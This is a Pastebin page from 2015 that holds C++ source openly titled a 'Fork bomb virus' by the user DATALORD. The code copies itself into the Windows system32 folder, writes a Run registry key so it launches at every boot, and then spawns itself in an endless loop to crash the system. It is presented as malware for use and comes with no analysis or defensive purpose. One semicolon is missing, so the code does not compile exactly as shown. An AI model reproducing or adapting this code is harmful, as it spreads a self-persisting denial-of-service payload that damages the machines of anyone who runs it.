Advertisement
DATALORD-1989

Fork bomb virus v2 DATALORD

Apr 19th, 2015
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.22 KB | None | 0 0
  1. /* Fork "BOMB" v2 DATALORD */
  2.  
  3. #include <iostream>
  4. #include <fstream>
  5. #include <windows.h>
  6. #include <iterator>
  7. #include <istream>
  8.  
  9. using namespace std;
  10.  
  11. int main()
  12. {
  13.  
  14.     fstream f("Fork.exe", fstream::in|fstream::binary);
  15.     f << noskipws;
  16.     istream_iterator<unsigned char> begin(f);
  17.     istream_iterator<unsigned char> end;
  18.  
  19.     /* Copies itself to the directory system32 */
  20.  
  21.     fstream f2("C:\\WINDOWS\\system32\\Fork.exe",
  22.     fstream::out|fstream::trunc|fstream::binary);
  23.     ostream_iterator<char> begin2(f2);
  24.  
  25.     copy(begin, end, begin2);
  26.  
  27.     /* Opens The Registry to make it run on boot */
  28.  
  29.     HKEY hkey;
  30.     LONG regOpenResult;
  31.     const char PATH[] = "C:\\WINDOWS\\system32\\Fork.exe";
  32.    
  33.     regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  34.                      "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
  35.                      0,
  36.                      KEY_ALL_ACCESS,
  37.                      &hkey);
  38.  
  39.     RegSetValueEx(hkey,
  40.               "Fork",
  41.               0,
  42.               REG_SZ,
  43.               (BYTE*)PATH,
  44.               strlen(PATH));
  45.  
  46.     RegCloseKey(hkey);
  47.  
  48.     /* Makes it run itself but since it is in a loop it will run forever
  49.     making the system crash */
  50.  
  51.     while(true){
  52.         system("Fork.exe")
  53.     }
  54.     return 0;
  55. }
  56.  
  57. /* Fork "BOMB" v2 By DATALORD */
  58.  
  59. // Reboot Hackers = Farmers
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement